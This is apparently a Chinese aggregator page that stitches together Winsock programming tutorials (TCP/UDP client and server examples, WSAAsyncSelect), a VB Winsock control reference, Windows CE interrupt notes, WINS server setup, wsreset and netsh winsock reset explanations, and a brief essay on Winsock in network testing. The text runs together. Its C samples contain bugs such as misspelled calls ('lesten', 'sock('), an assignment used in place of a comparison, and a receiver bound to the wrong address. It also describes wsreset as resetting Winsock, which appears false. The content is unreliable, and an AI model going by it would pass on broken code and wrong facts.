winsocke的属性及用法

合集下载

Winsock简介

Winsock简介

. Winsock简介- windows网络编程Winsock是一种标准API. 主要用于网络通信.这些API函数有Winsock1和Winsock2版本. 通过前缀WSA区分.1.1 Winsock头文件及库文件使用Winsock2规范时应包含winsock2.h连接的库为WS2_32.LIB使用Winsock1规范时. 应包含winsock.h 连接的库为WSOCK32.LIB另外mswsock.h用于微软专用编程扩展. 连接的库为MSWSOCK.DLL1.2 Winsock的初始化每个Winsock应用程序都必须加载合适的Winsock DLL版本. 函数如下:int WSAStartup {WORD wVersionRequested, //加载的Winsock库的版本.高位字是次版本.低位是主版本.//可以用MAKEWORD(x,y)宏来方便的指定x.y版本LPWSADATA 1pWSAData, //指向WSAData结构(见下边)的指针. 本函数将填充这个结构体.WORD wVersionRequested,LPWSADATA 1pWSAData );其中WSAData结构如下:typedef struct WSAData{WORD wVersion; //WSAAtartup函数会将这个字段设置为将要使用的Winsock版本.WORD wHighVersion; //现有Winsock库的最高版本.char szDescription[WSADESCRTIPTION_LEN+1];char szSystemStatus[WSASYS_STATUS_LEN+1];unsigned short iMaxSockets;//客同时打开的最大套接字数.取决与可用的物理资源.unsigned short iMaxUdpDg; //数据报最大长度char FAR* 1pVendorInfo; //保留字段}WSADATA,*LPWSADATA ;从windows98向后的平台都支持Winsock2.2版本. 但Windows CE支持的是Winsock 1.1版本.如果WSAStartup()的第一个参数wVersionRequested 指定的版本比当前平台上的最新版本还新.则函数就会失败.在使用Winsock接口编程完成后.要调用int WSACleanup(void);来释放所有由Winsock分配的资源.1.3 错误检查和处理对Winsock函数来说返回错误是很常见的. 失败时最常见的返回值是SOCKET_ERROR(值为-1).检查到错误后. 可以用int WSAGetLastError(void);函数返回int. 这是在WINSOCK1.h或Winsock2.h中定义的常量值.来获得一段代码专门说明错误.与WSAGetLastError函数对应的有个WSASetLastError().它可以手动设置一个错误代码让WSAGetLastError去获取.例如下边的框架:#include<winsock2.h>int main (){WSADATA wsaData;//初始化Winsock版本2.2if ((WSAStartup(MAKEWORD(2,2),&wsaData))!= 0){// 因为这个函数调用时Winsock还没有加载. 所以不能用WSAGetLastError()来确定错误.printf("WSAStartup fa土led with error %d \n",Ret);return 1;}//当应用程序结束调用WSACleanup之后,设置Winsock通信代码if (WSACleanup() == SOCKET ERROR){printf("WSACleanup fa工led with error %d \n",WSAGetLastError());}return 0;}1.4 协议寻址本章介绍使用IPv4协议建立Winsock通信的基本知识.IPv4寻址应用程序通过SOCKADDR_IN结构来指定IP地址和服务器端口信息:struct sockaddr_in{short sin_family; //设置为AF_INET 表示Winsock正使用IP地址族.u_short sin_port; //通信端口struct in_addr sin_addr; //这个字段用sin_addr(4字节) 保存IP地址.char sin_zero[8]; //这个字段是填充项.使这个结构体大小和SOCKADDR 结构的一样.};IP地址的表示在unsigned long 和点分十进制字符串之间转换IP地址的表示可以用下边的函数:unsigned long inet_addr( const char FAR* cp);指定IP地址和端口号时.必须用"网络字节序", 这和平时用的字节序是相反的. 将一个主机字节序的数转换为网络字节序的数需要用下边的函数转换:u_long htonl(u_long hostlong);int WSAHtonl(SOCKET s, u_long hostlong, u_long FAR* lpnetLong);u_short htons(u_short hostshort);int WSAHtons(SOCKET s, u_short hostshort, u_short FAR* lpnetshort);对应的将网络字节序转换成主机字节序的用下边的四个:ntohl WSANtohl ntohs WSANtohs1.5 创建套接字套接字是SOCKET类型. 创建套接字的函数是socket 和WSASocket. SOCKET socket(int af, int type, int protocol);其中:af是协议的地址族. 如IPv4对应的是AF_INETtype是协议的套接字类型.如果是TCP/IP则是SOCK_STREAM如果是UDP/IP则是SOCK_DGRAMprotocol用于给定的地址和套接字类型具有多重入口时.对具体的传送做限定.对于TCP应将该字段设为IPPROTO_TCP 对于UDP则设为IPPROTO_UDP1.6 面向连接的通信即通过TCP/IP协议来通信.1.6.1 服务器API函数这里说的服务器时一个进程.它等待任意数量的客户机来与之建立连接.将一个套接字绑定到一个已知的名称(即第2个参数.指定IP地址和端口)上.通过bind函数来完成.int bind(SOCKET s, const struct sockaddr FAR* name, int namelen);参数为:s 带绑定的套接字name 名称namelen 指出第2个参数指向的对象的长度例如:SOCKET s;SOCKADDR_IN tcpaddr; //地址结构.结构的定义见1.4节int port = 5150;//创建套接字s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//设置地址结构tcpaddr.sin_family = AF_INET; //AF_INET表示使用IP地址族tcpaddr.sin_port = htons(port); //端口.用网络字节序的u_short表示tcpaddr.sin_addr.s_addr = htonl(INADDR_ANY); //IP地址.同样是网络字节序.可以是一个//显示指定的IP地址.也可以像INADDR_ANY这样.表示所有的可用接口上(一个主机可以有多IP).//将套接字和地址结构绑定bind(s, (SOCKADDR*)&tcpaddr, sizeof(tcpaddr)); //注意第2个参数的类型有转换.// 这个函数如果出错会返回SOCKET_ERROR .//常见的错误是: WSAEADDRINUSE(表示本地这个端口和IP已被另一个进程绑定).// WSAEFAULT (表示该套接字s已被绑定过了)现在套接字已被绑定到本地一个端口上了. 接着要让他进入监听模式.使用函数listen:int listen(SOCKET s, int backlog);其中: s是已被bind过的套接字. backlog则是指定被搁置的连接队列的最大长度.当连接的客户数大于这里的最大长长度并且并且服务进程没有来得及处理. 则多出的连接请求会失败.这个函数相关的错误.常见的有WSAEINVAL(套接字在listen之前没有bind).现在可以让服务器接受连接.使用函数accept, WSAAccept, AcceptEX.本章先看accept.如下:SOCKET accept(SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen); 其中s是处于监听模式的套接字. addr是SOCKADDR_IN对象的地址. addrlen是第2个参数的长度.这个函数取出被搁置的连接队列中的第一个连接请求.对它服务.函数执行后第2个参数和第3个参数指向的变量会被函数设置为客户IPv4地址信息和该信息的长度.并且.accept函数返回一个新的套接字.对该客户的所有后续操作(如数据收发等)都用这个新套接字来完成. 而原来的套接字s则继续处于监听模式.如果这个函数出错.会返回INVALID_SOCKET . 在书后会讲.最后.还要关闭套接字. 这等会会讲.现在看一个tcp/ip服务器的完整例子(去掉了错误检查):#include <winsock2.h>void main(){WSADATA wsaData;SOCKET ListeningSocket;SOCKET NewConnection;SOCKADDR_IN ServerAddr;SOCKADDR_IN ClientAddr;int Port = 5150;//初始化Winsock版本2.2WSAStartup(MAKEWORD(2,2), &wsaData);//创建一个套接字并让他监听客户的连接ListeningSock = sock(AF_INET, SOCK_STREAM, IPPROTO_TCP);ServerAddr.sin_family = AF_INET;ServerAddr.sin_port = htons(Port);ServerAddr.sin_addr.s_addr = htonl(INADDR_ANY);bind(ListeningSocket, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));lesten(ListeningSocket, 5);//接受一个新客户连接NewConnection=accept(ListeningSocket,(SOCKADDR*)&ClientAddr,&ClientAddrlen));//可以在NewConnection上进行和该客户通信.也可以继续在ListeningSocket上接受其他客户连接.//关闭套接字closesocket(NewConnection);closesocket(ListeningSocket);WSACleanup();}1.6.2 客户端API函数在客户机上建立连接的步骤:1. 创建套接字.2. 建立SOCKADDR地址结构.(指定要连接到的服务器的IP地址和端口号)3. 用connect或WSAConnect初始化客户与服务器的连接.其中.前两步和服务器端建立连接的一样. 第3步使用的函数如:int connect(SOCKET s, const struct sockaddr FAR* name, int namelen); 其中:s就是将要和服务器建立连接的套接字.name是服务器的地址结构(SOCKADDR_IN).namelen是name的长度.如果函数失败.一般返回的错误有:WSAECONNREFUSED 表示服务器没有监听这个端口WSAETIMEDOUT 一般表示主机不可到达.例如:#include <winsock2.h>void main(){WSADATA wsaData;SOCKET s;SOCKADDR_IN ServerAddr;int port = 5150;//初始化为winsock2.2版WSAStartup(MAKEWORD(2,2), &wsaData);//创建新的套接字s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//建立SOCKADDR_IN结构. 用来表示服务器的IP和端口.ServerAddr.sin_family = AF_INET;ServerAddr.sin_port = htons(Port);ServerAddr.sin_addr.s_addr = inet_addr("136.149.3.29");//用套接字s创建一个到服务器的连接.connect(s, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));//使用套接字s传递数据.//关闭sclosesocket(s);//WSACleanup();}TCP客户端的状态:每个套接字的初始状态都是CLOSED.客户机初始化一个连接.向服务器发出连接请求SYN包时(第1次握手).客户机套接字的状态为SYN_SENT.然后客户机等待一个从服务器端返回的SYN_ACK包应答(第2次握手).如果收不到这个SYN_ACK包. 客户机会超时.回到CLOSED状态.如果收到. 则客户机再发送一个ACK包给服务器作为响应(第3次握手).客户机套接字状态变为ESTABLISHED.TCP服务端的状态:一开始套接字的初始状态都是CLOSED.套接字和本地接口(IP)端口绑定之后(通过bind函数).再通过lesten函数进入侦听状态.这时服务器套接字状态为LISTEN.当服务器收到客户机的连接请求时.要发送一个SYN_ACK包回应客户机(第2次握手).这时状态为SYN_RCVD.然后客户机再返回ACK包(第3次握手).服务器收到后.状态变为ESTABLISHED.关闭套接字时:如果是主动关闭.即在ESTABLISHED状态下向对方发送一个FIN包(通过closesocket函数).本端的状态就变为FIN_WAIT_1 , 收到对方返回的ACK后状态变为FIN_WAIT_2. 然后等接收到对方发来的FIN包时.本端会发送一个ACK回应. 并将本端的套接字设置为TIME_WAIT(也叫2MSL等待状态). 再过2倍的MSL时间后将状态变为CLOSED状态.如果是被动关闭.即本端先收到对方发来的FIN包. 并用一个ACK包回应. 此时本端状态变为CLOSE_WAIT. 然后如果本端也要结束传送. 会向对方发送FIN包. 这就使本端进入LAST_ACK状态. 接着会收到对方的ACK回应.之后,本端状态变为CLOSED状态.1.6.3 数据传输发送数据使用send和WSASend函数.int send(SOCKET s, const char FAR* buf, int len, int flags);函数用s发送buf中的len个字节的数据. flags可以为0. MSG_DONTROUTE. MSG_OOB.如果成功.函数返回发送的字节数.否则返回SOCKET_ERROR.再Winsock2版本也可以用WSASend函数.如下:int WSASend( SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);其中.s是套接字.lpBuffers是指向WSABUF结构的指针.每个WSABUF就代表一个缓冲区.它指向一个WSABUF对象.或一个数组.dwBufferCount 指出第二个参数指向的数组中的对象数. lpNumberOfBytesSent指向的DWORD.会在函数返回时被设置为已发送的字节数.lpOverlapped和lpCompletionROUTine参数用于重叠I/O. 这以后会讲.函数执行成功返回0. 否则返回SOCK_ERROR. 常见错误与send函数一样.最后还有一个发送函数.这个函数很少用:int WSASendDisconnect(SOCKET s, LPWSABUF lpOutboundDisconnectData);接收数据使用recv和WSARecv函数.int recv(SOCKET s, char FAR* buf, int len, int flags);其中.s是用来接受数据的套接字.buf是接收数据的字符缓冲区.len是准备接收的字节数或buf的缓冲区长度.flags可以是0. MSG_PEEK, MSG_OOB. 其中MSG_PEEK是表示查看消息, 即将系统缓冲区的数据复制到buf里.但在系统缓冲区中还保留这些数据.并且将复制的字节数返回.注意:在基于消息或基于数据报的套接字(如UDP)上使用recv函数时.如果收到的数据大于len.函数会先填满buf.然后产生WSAEMSGSIZE错误.但在流协议(如TCP)里则不存在这样的问题.即recv函数会尽量取出len个字节的数据.其它的则不取出.在winsock2里还可以使用函数WSARecv来接收数据.如下;int WSARecv(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_COUTINE lpCompletionRoutine);另外也有一个不常用的接收函数:int WSARecvDisconnect(SOCKET s, LPWSABUF lpInboundDisconnectData);16.4 流协议流协议(如TCP)中.发送者和接收者可以将数据分解或合并.在流套接字上的收发函数不能保证要求读取或写入的数据量.例如:char sendbuff[2048];int nBytes = 2048;ret = send(s, sendbuff, nBytes, 0);ret赋值为已发送的字节数. 但ret可能小于2048字节.系统会为每个收发数据的套接字分配缓冲区. 发送时先将数据从sendbuff放到系统缓冲区.这样系统缓冲区有可能被填满. 系统缓冲区的数据在发送时会取出. 而且对于TCP/IP,如果接收端的窗口大小为0. 发送端就暂时不能发送数据. 所以发送时会对数据分解.为保证将所有字节都发出去. 可采用下边的代码:char sendbuff[2048];int nBytes = 2048 , nLeft, idx;nLeft = nBytes;idx = 0;while (nLeft>0) {ret = send(s, &sendbuff[idx], nLeft, 0);if(ret = SOCKET_ERROR) chucuo...;nLeft -= ret;idx += ret;}这样就会一直发送完整个缓冲区的数据.接受数据时应用程序通常不会关心应该读多少数据.如果应用程序需要通过流协议获取离散消息.要像下边这样.如果消息长度固定.如512字节.则:char recvbuff[1024];int ret, nLeft = 512, idx = 0;while(nLeft > 0) {ret = recv(s, &recvbuff[idx], nLeft, 0);if (ret == SOCKET_ERROR) chucuo...idx += ret;nLeft -= ret;}如果消息长度不同,可以自己设计一个协议.如发送端写入时先写个整数表示消息长度.接收端读取时查看这个整数中断连接shutdown用在closesocket函数之前.通知接收端"不再发送数据".这个函数可以从容终止连接.但也不是所有流协议都支持从容关闭.如ATMint shutdown(SOCKET s, int how);其中how参数可以是:SD_RECEIVE : 不许再调用接收函数SD_SEND : 不许再调用发送函数.SD_BOTH : 两者都取消.closesocket关闭套接字.int closesocket(SOCKET s);函数执行后.会释放套接字描述符.所以之后对s的调用会失败(产生WSAENOTSOCK)错误.如果没有对s的其他引用.那所有与s关联的资源都会被释放.包括丢弃所有队列中的数据.1.7 无连接通信无连接通信通过UDP完成.1.7.1 接收端无连接的套接字接收端(服务器)的创建也是用socket(或WSASocket)函数. 绑定也是用bind函数.但不必调用listen和accept函数. 只要直接等待着接收数据就行了.接收函数recvfrom如下:int recvfrom( SOCKET s, char FAR* buf, int len, int flags,struct sockaddr FAR* from, int FAR* fromlen);其中前4个参数和recv的意义一样. from参数是指向SOCKADDR结构的指针.表示发送端的IP和端口.from和fromlen参数指向的结构体会在函数执行时被设置.在winsock2版本里的接收函数WSARecvFrom:int WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,LPDWORD lpNumberOfBytesRecvd, LPDOWRD lpFlags,struct sockaddr FAR* lpFrom, LPINT lpFromlen,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpComletionRoutine);用UDP接收数据的一个例子#include <winsock2.h>void main() {WSADATA wsaData;SOCKET ReceivingSocket;SOCKADDR_IN ReceiverAddr;int Port = 5150;char ReceiveBuf[1024];int BufLength = 1024;SOCKADDR_IN SenderAddr;int SenderAddrSize = sizeof(senderAddr);WSAStartup(MAKEWORD(2,2), &wsaData);ReceivingSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);ReceiverAddr.sin_family = AF_INET;ReceiverAddr.sin_port = htons(Port);ReceiverAddr.sin_addr.s_addr = htonl(INADDR_ANY);bind(ReceivingSocket, (SOCKADDR*)&SenderAddr, sizeof(SenderAddr));recvfrom(ReceivingSocket, ReceiveBuf, BufLength, 0,(SOCKADDR*)&SenderAddr, &SenderAddrSize);closesocket(ReceivingSocket);WSACleanup();}1.7.2 发送端在无连接的套接字上发送数据.一种办法是建立套接字后调用sendto或WSASendTo.如下:int sendto(SOCKET s, const char FAR* buf, int len, int flags,const struct sockaddr FAR* to, int tolen);参数分别是: 套接字.缓冲区.要发送的数据字节数.标志.目标地址的指针.目标地址结构的长度.对应的winsock2中的函数是:int WSASendTo(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags,const struct sockaddr FAR* lpTo, int iToLen,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);用UDP发送数据的一个例子:#include <winsock2.h>void main(){WSADATA wsaData;SOCKET SendingSocket;SOCKADDR_IN ReceiverAddr;int port = 5150;char SendBuf[1024];int BufLength = 1024;WSAStartup(MAKEWORD(2,2), &wsaData);SendingSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);ReceiverAddr.sin_family = AF_INET;ReceiverAddr.sin_port = htons(Port);ReceiverAddr.sin_addr.s_addr = inet_addr("136.149.3.29");sendto(SendingSocket, SendBuf, BufLength, 0,(SOCKADDR*) &ReceiverAddr, sizeof(RecieverAddr));closesocket(SendingSocket);WSACleanup();}1.8 其他API函数getpeername用于获取通信方的套接字地址信息.int getpeername(SOCKET s, struct sockaddr FAR* name, int FAR* namelen); getsockname获取给定套接字的本地接口的地址信息.int getsockname(SOCKET s, struct sockaddr FAR* name, int FAR* namelen); WSADuplicateSocket用来建立WSAPROTOCOL_INFO结构.该结构可以传递到另一个进程.这样就可以用另一个进程打开指向同一个下层套接字的句柄来对该资源操作.int WSADuplicateSocket(SOCKET s, DWORD dwProcessId,LPWSAPROTOCOL_INFO lpProtocolInfo);其中s是要复制的套接字句柄.dwProcessId是另一个进程的ID.lpProtocolInfo是指向WSAPROTOCOL_INFO结构的指针.它包含目标进程打开s时所需要的信息.5. Winsock I/O 方法- windows网络编程5.1 套接字模式winsock执行I/O操作的两种模式: 阻塞模式和非阻塞模式.5.1.1 阻塞模式在阻塞套接字上调用任何一个winsock api 函数. 都是同步的.如:nBytes = recv(sock, buff, 50);在输入缓冲区没有任何数据可读时. 函数不会返回. 调用这个函数的线程被阻塞. 为了不至于使主线程阻塞. 通常专门开一个读线程. 当读入一点数据时用事件通知其它线程. 但这还是不好用. 很不方便.5.1.2 非阻塞模式首先看看如何将一个套接字设置为非阻塞模式:SOCKET s = socket(AF_INET, SOCK_STREAM, 0);unsigned long ul = 1;int nRet = ioctlsocket(s, FIONBIO, (unsigned long*)&ul);if(nRet == SOCKET_ERROR) {//未能将s设置为非阻塞模式....}设置套接字s为非阻塞模式后,在s上的数据收发或处理连接的函数调用会立即返回.大多情况下,这些调用会失败并返回一个WSAEWOULDBLOCK错误.说明函数请求的操作没有足够的时间来完成. 例如现在在s上调用recv() 但缓冲区中没有被挂起的数据时.recv()就会返回WSAEWOULDBLOCK错误. 可以重复的调用这个函数直到函数成功返回. 这就是非阻塞模式.各winsock 函数返回WSAEWOULDBLOCK错误的意义如下:WSAAccept/accept 说明目前没有收到连接请求Closesocket 说明..WSAConnect/connect 说明连接已经初始化.WSARecv/recv/WSARecvFrom/recvfrom 说明没有收到数据.WSASend/send/WSASendTo/sendto 说明外出数据当时没有缓冲区可用.发生错误时(这是应该的), 可以过一会儿再调用. 直到返回成功.这好像也不好用.5.2 套接字I/O模型共有6种模型:blocking(阻塞). select(选择). WSAAsyncSelect(异步选择). WSAEventSelect(事件选择). overlapped(重叠).completionport(完成端口).//现在我只用WSAAsyncSelect(异步选择)这个模型.其它的先不看了.5.2.3 WSAAsyncSelect模型利用异步选择模型. 程序可以在一个套接字上接收以Windows消息为基础的网络事件通知.首先调用下边的函数:int WSAAsyncSelect(SOCKET s, //将产生事件的套接字HWND hWnd, //接收消息通知的窗口unsigned int wMsg, //发送到窗口函数的自定义的消息long lEvent); //位掩码. 指定感兴趣的网络事件如:WSAAsyncSelect(s, hwnd, WM_SOCKET, FD_READ | FD_CLOSE);之后当s注册的事件(READ和CLOSE)发生后. hwnd 会收到WM_SOCKET消息. 要更改感兴趣的事件需要再次调用该函数. 事件通知总是有效直到调用了closesocket()或再次调用SWAAsyncSelect()并将lEvent设为0.另外.这个函数还会使套接字s变为非阻塞模式.这点要注意.事件类型参数lEvent可以是下边的值:FD_READ 想接收是否可读的通知.FD_WRITE 想接收是否可写的通知.FD_OOB 想接收是否有OOB数据抵达的通知.FD_ACCEPT 想接收与传入的连接有关的通知.FD_CONNECT 想接收一个已完成连接的通知.FD_CLOSE 想接收与套接字关闭有关的通知.FD_QOS 想接收套接字QOS发生变化的通知.FD_GROUP_QOS //与套接字组有关...FD_ROUTING_INTERFACE_CHANGE 想接收指定方向上路由接口变化的通知.FD_ADDRESS_LIST_CHANGE 想接收本地地址列表针对套接字的协议家族变化的通知.窗口函数接收已注册的网络事件通知时. 如下:LRESULT CALLBACK WindowProc( HWND hwnd, UINT uMsg,WPARAM wParam, LPARAM lParam) {//其中uMsg是我们在WSAAsyncSelect()的第3个参数处指定的值.//wParam是产生该网络事件消息的套接字//lParam的低位字指定了已发生的网络事件如FD_READ等//lParam的高位字包含可可能出现的任何错误代码.//处理这个消息时.应该先用WSAGETSELECTERROR宏检查lParam的高位字. //以判断是否发生了网络错误. 如果没有错误再用WSAGETSELECTEVENT宏检查//lParam的低位字看发生的是哪类网络事件.根据具体的事件类型做具体处理.switch(uMsg) {case WM_SOCKET: //WM_SOCKET是自定义的一个值.if(WSAGETSELECTERROR(lParam)) {//发生错误了.关闭套接字.closesocket((SOCKET)wParam); break;}switch(WSAGETSELECTEVENT(lParam)) {case FD_READ://读入数据..... break;case FD_CLOSE:closesocket((SOCKET)wParam); break;}break;}return ....}最后说说何时会产生FD_WRITE通知:只有在下边3种情况下会发出FD_WRITE通知1. 使用connect/WSAConnect一个套接字首次建立了连接以后.2. 使用accept/WSAAccept一个套接字被接受以后.3. 当send/WSASend/sendto/WSASendTo函数失败而返回WSAEWOULDBLOCK错误之后.并在发送缓冲区的空间变得可用时.。

VB Winsock的属性和方法

VB Winsock的属性和方法
语法:object_Close( )
object 所在处代表一个对象表达式,其值是WinSock控件的对象。
参数:None
八、ConnectionRequest 事件
当远程计算机请求连接时出现。
仅适用于 TCP 服务器应用程序。在请求一个新连接时激活该事件。激活事件之后,RemoteHostIP 和 RemotePort 属性存储有关客户的信息。
sckInvalidArg
40014
传递给函数的参数格式不确定,或者不在指定范围内。
sckSuccess
40017
成功。
sckUnsupported
40018
不受支持的变量类型。
sckInvalidOp
40020
在当前状态下的无效操作
sckOutOfRange
10093
应首先调用 WinsockInit。
sckHostNotFound
11001
授权应答:未找到主机。
SckHostNotFoundTryAgain
11002
非授权应答:未找到主机。
SckNonRecoverableError
11003
不可恢复的错误。
sckConnectAborted
11053
由于超时或者其它失败而中止连接。
sckConnectionReset
10054
通过远端重新设置连接。
SckNoBufferSpace
10055
没有可用的缓冲空间。
SckAlreadyConnected
10056
40021
参数越界。

winsock使用手册

winsock使用手册

winsock使用手册WinSock(Windows Socket)是一种在Windows系统上开发网络应用程序所使用的应用程序接口(API)。

通过使用WinSock API,开发人员可以创建与互联网协议(IP)网络上的其他计算机进行通信的应用程序。

以下是使用WinSock API的基本步骤:1. 初始化WinSock:在使用WinSock之前,必须初始化WinSock库。

这可以通过调用WSAStartup函数来完成,该函数会加载WinSock库并将其与应用程序关联起来。

2. 创建套接字:要使用WinSock进行通信,必须创建一个套接字。

这可以通过调用socket函数来完成。

该函数接受三个参数:套接字类型(如TCP 或UDP)、套接字协议(如IP协议)以及套接字地址家族(如IPv4或IPv6)。

3. 绑定套接字:创建套接字后,必须将其绑定到一个本地地址和端口上。

这可以通过调用bind函数来完成。

bind函数接受两个参数:一个指向sockaddr结构的指针,该结构包含本地地址和端口信息;以及一个指向套接字描述符的指针。

4. 监听连接:对于TCP套接字,必须调用listen函数来开始监听传入的连接请求。

listen函数接受两个参数:一个指向套接字描述符的指针和一个指定最大连接数的整数。

5. 接受连接:当一个连接请求到达时,必须调用accept函数来接受该请求并返回一个新的套接字描述符。

accept函数接受两个参数:一个指向套接字描述符的指针和一个指向sockaddr结构的指针,该结构用于存储远程地址信息。

6. 发送和接收数据:一旦建立了连接,就可以使用send和recv函数来发送和接收数据。

send函数接受三个参数:一个指向套接字描述符的指针、一个指向要发送数据的缓冲区的指针以及一个指定要发送的数据量的整数。

recv函数也接受类似的参数,用于接收数据。

7. 关闭套接字:完成数据传输后,必须调用close或closesocket函数来关闭套接字并释放资源。

中断处理

中断处理

中断服务线程IST 中断服务线程IST
InterruptDone
用来告诉操作系统,对该中断的处理已完成,操作系统 用来告诉操作系统,对该中断的处理已完成, 可重新开启该中断. 可重新开启该中断. 中断数据处理完以后,IST必须调用 InterruptDone函 中断数据处理完以后,IST必须调用 InterruptDone函 数使内核使能与这一个线程相关的中断 VOID InterruptDone ( DWORD idInt //SYSINTR逻辑中断号 //SYSINTR逻辑中断号 );
中断服务例程ISR 中断服务例程ISR
IISR的特性: IISR的特性: 的特性
DLL 代码,在运行时进行绑定 代码, 一般用C 一般用C编写 有一些限制 不能调用CRT, Windows API, 或其它的DLL 不能调用CRT, 或其它的DLL 支持硬件共IRQ共享 支持硬件共IRQ共享 从同一个IRQ关联的不同SYSINTR ID 从同一个IRQ关联的不同 关联的不同SYSINTR
中断架构
中断只是异常处理的一部分
在内核代码中被获取 在恢复到用户态之间进行处理 但是硬件是独立于操作系统的
CE使用二阶段中断服务模式 CE使用二阶段中断服务模式
少量的代码进行中断的记录 调度中断服务程序代码进行处理
操作系统提供API来使能 操作系统提供API来使能IRQ信号,设置中 来使能IRQ信号 信号, 断的优先级,等等. 断的优先级,等等. 与硬件有关的操作在OAL, 与硬件有关的操作在OAL,以及设备驱动 代码中进行. 代码中进行.
中断服务线程IST 中断服务线程IST
WaitForSingleObject
阻塞当前的线程,等待某个Event内核对象标识的事件 阻塞当前的线程,等待某个Event内核对象标识的事件 发生. 发生. 这一调用通常放在一个循环中,以使和中断处理时, 这一调用通常放在一个循环中,以使和中断处理时, IST可以回到这一个调用等待下一个要处理的中断 IST可以回到这一个调用等待下一个要处理的中断 DWORD WINAPI WaitForSingleObject ( HANDLE hHandle, //事件的句柄 hHandle, //事件的句柄 DWORD dwMilliseconds //超时的ms数,如果超 //超时的 数 超时的ms 过此参数设定的时间, 过此参数设定的时间,那么函数也会返回 );

WINS服务器

WINS服务器

WINS数据库复制的配置 数据库复制的配置
说明:
如果Server A将Server B设为其"推"伙伴,则 Server B将有Server A的记录;而Server A上没 有Server B的记录. 如果Server A将Server B设为其"拉"伙伴,则 Server A将有Server B的记录;而Server B上没 有Server A的记录. 如果Server A将Server B设为其"推"/"拉" 伙伴,则Server A将有Server B的记录;同时 Server B上也有Server A的记录
WINS数据库复制的配置 数据库复制的配置
4,完成后如图t-1所示下.
图w - 1
WINS数据库复制的配置 数据库复制的配置
在图t-1上的复制伙伴记录上右击,选属性,出现如下 图所示的对话框,可以设置复制的一些参数.如复制 伙伴的类型,"拉"复制的时间间隔,"推"复制的 发生阀值等.
WINS数据库复制的配置 数据库复制的配置
WINS服务组件
WINS数据库就是WINS服务器上存储WINS 客户机注册信息的数据库. WINS代理就是将某台WINS客户机设置成 WINS代理后,由WINS代理替代其他客户 机向WINS服务器发出请求,再将返回的 结果"翻译"给其他客户机.
演示WINS服务器的安装
(与DNS安装相似)
WINS客户机的配置
将其值改为对应的 节点类型的值,默 认为8(H节点)
WINS服务的工作流程 WINS服务的工作流程
注册:
1,在客户端登录时,发送一个注册信息给WINS服务器进行注册; 2,WINS服务器回送该响应注册信息,包含注册的TTL,指明如果在规定 的时间内客户端没有刷新,则该注册过期

wsreset 参数

wsreset 参数

wsreset 参数
wsreset 是一个命令行工具,用于重置Windows 上的Winsock 注册表。

Winsock 是Windows 操作系统中用于网络通信的组件。

wsreset 命令通常用于修复网络连接问题。

当Windows 上的Winsock 注册表出现错误或损坏时,可能会导致网络连接问题。

通过运行wsreset 命令,可以重置Winsock 注册表,从而修复这些错误并恢复网络连接。

wsreset 命令的语法如下:
wsreset [/t <timeout>]
其中,/t <timeout> 参数是可选的,用于指定超时时间(以毫秒为单位)。

如果不指定超时时间,默认超时时间为30000 毫秒(30 秒)。

请注意,wsreset 命令可能需要管理员权限才能运行。

因此,在运行该命令时,可能需要以管理员身份运行命令提示符或PowerShell。

另外,请谨慎使用wsreset 命令。

在运行该命令之前,请确保您了解其作用和潜在的风险。

如果不确定是否需要运行该命令,请先咨询专业的技术支持人员或参考相关文档和教程。

NETSHWINSOCKRESET这条命令的含义和作用?

NETSHWINSOCKRESET这条命令的含义和作用?
winsock是windows网络编程接口,从Windows XP SP2開始内置了一条命令使用netsh可以对该接口进行修复。
netsh是一个可以通过命令行操作差点儿全部网络相关设置的接口。比方设置IP,DNS,网卡,无线网络等。 netsh winsock reset: 先进入netsh 然后进入winsock这个部件 对winsock这个部件运行reset命令。 效果就是重置Winsock。对于一些WinSock被破坏导致的问题有奇效。在netsh出现之前,对于WinSock问题的修复是很繁琐的。
处理连续型变量时布尔型变量lessthan的符号不是我想要的有的子树我想要大于他是小于而且没法改改的话全局就都变了请问下怎么解决非常作 用 ?
简单来说netsh winsock reset命令含义是重置 Winsock 文件夹。假设一台机器上的Winsock协议配置有问题的话将会导致网络连接等问题, 就须要用netsh winsock reset命令来重置Winsock文件夹借以恢复网络。

WINSOCK在网络测试编程中的使用

WINSOCK在网络测试编程中的使用

WINSOCK在网络测试编程中的使用WINSOCK是Windows操作系统提供的网络编程接口,它提供了一种方便的方式来进行网络通信。

在网络测试编程中,WINSOCK是至关重要的一环。

下面将介绍WINSOCK在网络测试编程中的使用。

首先,利用WINSOCK编程可以提供一种方便的方式来测试网络应用程序。

使用WINSOCK编程接口,测试者可以直接连接到网络应用程序,并在测试中模拟特定的网络环境和场景。

同时,WINSOCK还提供了许多用于网络测试的工具包,例如网络协议分析器、流量调度器、模拟器等等,这些工具可以让测试人员更加有效地分析和优化网络应用程序。

其次,WINSOCK介入的实际测试过程中,主要应用场景在于测试网络应用程序的稳定性和性能。

WINSOCK提供了许多用于测试应用程序稳定性的工具,如心跳机制、断线恢复等等。

这些工具能够在应用程序出现意外情况时察觉并恢复,保证网络应用程序的正常运行。

最后,WINSOCK允许用户使用常用的网络协议和通信协议进行测试。

例如,HTTP、SMTP和FTP等常见网络协议可以使用WINSOCK接口进行测试。

在测试中,测试人员可以使用WINSOCK来检测应用程序是否能够正确地处理这些协议所定义的数据格式。

此外,使用WINSOCK还可以测试TCP、UDP、IP等通信协议,这些协议在网络编程中很常见。

综上所述,WINSOCK在网络测试编程中是非常重要的。

